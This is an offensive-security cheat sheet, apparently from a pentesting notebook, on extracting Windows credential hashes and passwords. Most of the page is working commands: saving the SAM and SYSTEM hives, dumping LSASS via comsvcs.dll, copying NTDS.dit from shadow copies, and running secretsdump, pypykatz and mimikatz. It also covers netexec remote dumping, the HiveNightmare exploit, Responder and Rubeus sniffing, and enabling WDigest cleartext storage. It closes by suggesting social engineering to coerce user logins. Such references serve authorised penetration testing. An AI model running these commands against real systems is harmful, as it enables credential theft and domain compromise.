# Extract Hash & Password

## Information

<table data-header-hidden><thead><tr><th width="161"></th><th></th></tr></thead><tbody><tr><td>Database</td><td><strong>SAM</strong> (Security Account Manager)</td></tr><tr><td>Hash format</td><td><strong>LM</strong> (up to Vista Server 2008, 2 DES blocks of 7 lowercase chars, 69 chars total)<br><strong>NTLM</strong> (MD4)</td></tr><tr><td>Authentication protocols</td><td><strong>NTLMv1</strong> (uses LM and NTLM hashes)<br><strong>NTLMv2</strong> (uses NTLM hashes)<br><strong>Kerberos</strong></td></tr><tr><td>Process</td><td><strong>LSASS</strong> (Local Security Authority Subsystem Service), system process dedicated to authentication, access, etc.<br>Implements <strong>LSA</strong> (Local Security Authority).</td></tr><tr><td>NTDS.dit</td><td>Each Domain Controller in Active Directory keeps this database file synchronized, which contains a lot of information including usernames and password hashes (SAM is used only for logins on the device with local accounts)</td></tr></tbody></table>

### SAM Hashes

To extract hashes from the SAM database we need:

* Administrator Privileges&#x20;
* `hklm\sam` contains the password hashes.
* `hklm\system` contains the bootkey needed to decrypt the SAM db.
* `hklm\security` contains cached credentials for domain accounts.

(`C:\\Windows\System32\Config\`)

{% tabs %}
{% tab title="Get File" %}
Create copies for transfer

{% code overflow="wrap" %}

```powershell
reg.exe save hklm\sam C:\sam.save
```

{% endcode %}

{% code overflow="wrap" %}

```powershell
reg.exe save hklm\system C:\system.save
```

{% endcode %}

{% code overflow="wrap" %}

```powershell
reg.exe save hklm\security C:\security.save
```

{% endcode %}
{% endtab %}

{% tab title="Extract" %}
Extracting hashes from the SAM database in offline mode by having the files.\
Use [impacket-secretsdump](https://github.com/fortra/impacket/blob/master/examples/secretsdump.py).

{% code overflow="wrap" %}

```bash
secretsdump.py -sam sam.save -system system.save [-security security.save] LOCAL
```

{% endcode %}
{% endtab %}
{% endtabs %}

### LSASS Hashes

To extract hashes from the LSASS process we need:

* Administrator Privileges&#x20;
* Dump of the running process

{% tabs %}
{% tab title="Get File" %}
Create a copy for transfer

{% code overflow="wrap" %}

```
Task Manager > Right-click on LSAProcess > Create dump file
```

{% endcode %}

Or

{% code overflow="wrap" %}

```powershell
tasklist /svc or Get-Process lsass
# get PID LSASS
```

{% endcode %}

{% code overflow="wrap" %}

```powershell
rundll32 C:\windows\system32\comsvcs.dll, MiniDump <PID> C:\lsass.dump full
```

{% endcode %}
{% endtab %}

{% tab title="Extract" %}
Extracting hashes from the LSASS process dump in offline mode by having the files.\
For example, with administrator privileges, from the Task Manager, go to the “Details” tab, find lsass.exe, right-click, and select “Create dump file.”

Use [pypykatz](https://github.com/skelsec/pypykatz).

{% code overflow="wrap" %}

```bash
pypykatz lsa minidump lsass.dump
```

{% endcode %}
{% endtab %}
{% endtabs %}

### NTDS Hashes

To extract hashes from the `NTDS.dit` file we need::

* Connect to a Domain Controller
* Have Local Administrator (Administrators group) or Domain Administrator (Domain Admins group) rights (or equivalent)
* `hklm\system` contains the bootkey needed for decryption

{% tabs %}
{% tab title="Get File" %}
Create a copy for transfer

{% code overflow="wrap" %}

```powershell
vssadmin CREATE SHADOW /For=C:
```

{% endcode %}

Or

{% code overflow="wrap" %}

```powershell
vshadow.exe -nw -p C:
# get PATH
```

{% endcode %}

{% code overflow="wrap" %}

```powershell
cmd.exe /c copy <PATH>\Windows\NTDS\NTDS.dit c:\NTDS.dit
```

{% endcode %}
{% endtab %}

{% tab title="Extract" %}
Extract hashes from NTDS.dit file offline, having the files.\
Use [impacket-secretsdump](https://github.com/fortra/impacket/blob/master/examples/secretsdump.py).

{% code overflow="wrap" %}

```bash
secretsdump.py -ntds NTDS.dit -system system.save LOCAL
```

{% endcode %}
{% endtab %}
{% endtabs %}

## Tools

<table><thead><tr><th width="159">Tool</th><th>Details</th></tr></thead><tbody><tr><td><a href="https://www.netexec.wiki/">netexec</a></td><td>Remotly<br><code>nxc smb &#x3C;IP> [--local-auth] -u &#x3C;USER> -p &#x3C;PASS> --sam --lsa -M lsassy</code> <br><code>nxc smb &#x3C;IP_DC> -u &#x3C;USER> -p &#x3C;PASS> --ntds</code></td></tr><tr><td><a href="https://github.com/gentilkiwi/mimikatz">mimikatz</a></td><td><p>On Host <em>(need SeDebugPrivilege active, in addition to administrator privileges)</em></p><p><code>.\mimikatz.exe</code></p><p><code>> privilege::debug</code> -> <code>token::elevate</code><br><code>> lsadump::sam</code> <br><code>> lsadump::lsa</code><br><code>> lsadump::secrets</code> <br><code>> vault::cred</code><br><code>> sekurlsa::credman</code><br><code>> sekurlsa::logonpasswords full</code> <em>(see</em> <a href="#uselogoncredential-registry-key"><em>UseLogonCredential Registry Key</em></a> <em>)</em></p><p>Guide <a href="https://adsecurity.org/?page_id=1821">HERE</a> and for all moduls see <a href="https://tools.thehacker.recipes/mimikatz/modules">HERE</a>.<br>For <a href="../../../utility/c2-and-exploitation-framework/metasploit#meterpreter">Meterpreter</a> RevShell: <code>load kiwi</code>e<br>No-interactive shell: <code>mimikatz.exe "privilege::debug" "sekurlsa::logonpasswords" exit</code></p></td></tr><tr><td><a href="https://github.com/fortra/impacket/blob/master/examples/secretsdump.py">impacket-secretsdump</a></td><td><code>secretsdump.py &#x3C;DOMAIN>/&#x3C;USER>:&#x3C;PASS>@&#x3C;DC></code></td></tr><tr><td><a href="https://github.com/GossiTheDog/HiveNightmare">HiveNightmare</a></td><td>Create a copy of the SAM files, System, Security from any user even unprivileged.<br>CVE-2021-36934 - SeriousSam<br><code>.\HiveNightmare.exe</code></td></tr></tbody></table>

## Sniffing

<table><thead><tr><th width="151">Tool</th><th>Details</th></tr></thead><tbody><tr><td><a href="https://github.com/lgandx/Responder">responder</a></td><td><mark style="color:green;">Linux</mark><br><code>sudo responder -I &#x3C;INTERFACE></code><br><code>sudo responder -I &#x3C;INTERFACE> -A</code>  <em>(passive analysis mode)</em><br><em>See</em> <code>/usr/share/responder/logs</code></td></tr><tr><td><a href="https://github.com/Kevin-Robertson/Inveigh">Inveigh</a></td><td><mark style="color:blue;">Windows</mark><br>PowerShell version (no longer maintained)<br><code>Import-Module .\Inveigh.ps1</code><br><code>Invoke-Inveigh Y -NBNS Y -ConsoleOutput Y -FileOutput Y</code><br>C# version<br><code>.\Inveigh.exe</code><br><code>[ESC]</code> > <code>HELP</code></td></tr><tr><td><a href="https://github.com/IvAlexEv/Compiled-Binaries/blob/main/Rubeus.exe">rubeus</a></td><td><p><mark style="color:blue;">Windows</mark> (sniff TGT and TGS, usefull on services account)<br><em>Requires elevated privileges</em><br><code>Rubeus.exe monitor /interval:1 /nowrap</code><br>Save output in file "ticket.bs4.kirbi" then<br><code>cat ticket.bs4.kirbi | base64 -d > ticket.kirbi</code></p><p><code>ticketConverter.py ticket.kirbi user.ccache</code></p></td></tr></tbody></table>

If we have access to the target  we can  use `net use \<IP_Attacker>\share`

## Other

### UseLogonCredential Registry Key&#x20;

We need to enable that Registry Key UseLogonCredential to be able to extract Clear Password

{% code overflow="wrap" %}

```powershell
reg add HKLM\SYSTEM\CurrentControlSet\Control\SecurityProviders\WDigest /v UseLogonCredential /t REG_DWORD /d 1
```

{% endcode %}

And reboot&#x20;

```
shutdown /r /t 0 /f
```

### Store Password using Reversible Encryption

When this option is set on a user account, the passwords are stored using RC4 encryption with the key stored in the registry (the Syskey) that can be extracted by a Domain Admin or equivalent.\
Tools such as [impacket-secretsdump.py](https://github.com/fortra/impacket/blob/master/examples/secretsdump.py) will decrypt any passwords stored using reversible encryption while dumping the NTDS file either as a Domain Admin or using an attack such as [DCSync](https://ivalexev.gitbook.io/rednote/pentesting-process/active-directory/dc-synchronization).

Enumeration

{% code overflow="wrap" %}

```powershell
Get-ADUser -Filter 'userAccountControl -band 128' -Properties userAccountControl
```

{% endcode %}

With PowerView ([Old](https://github.com/PowerShellMafia/PowerSploit/blob/master/Recon/PowerView.ps1) and [New](https://github.com/BC-SECURITY/Empire/blob/main/empire/server/data/module_source/situational_awareness/network/powerview.ps1))&#x20;

{% code overflow="wrap" %}

```powershell
Get-DomainUser -Identity * | ? {$_.useraccountcontrol -like '*ENCRYPTED_TEXT_PWD_ALLOWED*'} |select samaccountname,useraccountcontrol
```

{% endcode %}

### [Credential Guard](https://learn.microsoft.com/en-us/windows/security/identity-protection/credential-guard/how-it-works)&#x20;

When enabled, the *Local Security Authority (LSASS)* environment runs as a trustlet in VTL1 ([VSM](https://learn.microsoft.com/en-us/windows-hardware/design/device-experiences/oem-vbs) Secure Mode) named *LSAISO.exe (LSA Isolated)* and communicates with the **LSASS.exe** process running in VTL0 ([VSM](https://learn.microsoft.com/en-us/windows-hardware/design/device-experiences/oem-vbs) Normal Mode) through an RCP channel. This means that the data is encrypted.

Credential Guard is only designed to protect non-local users.

{% code overflow="wrap" %}

```powershell
Get-ComputerInfo
# CredentialGuard in DeviceGuardSecurityServicesConfigured DeviceGuardSecurityServicesRunning
```

{% endcode %}

With [mimikatz](https://github.com/gentilkiwi/mimikatz)

{% code overflow="wrap" %}

```powershell
privilege::debug
misc::memssp
# OUTPUT IN C:\Windows\System32\mimilsa.log
```

{% endcode %}

Now we can be patient and wait for another user to remotely connect to the machine or we can resort to additional techniques such as social engineering to coerce someone to log in.
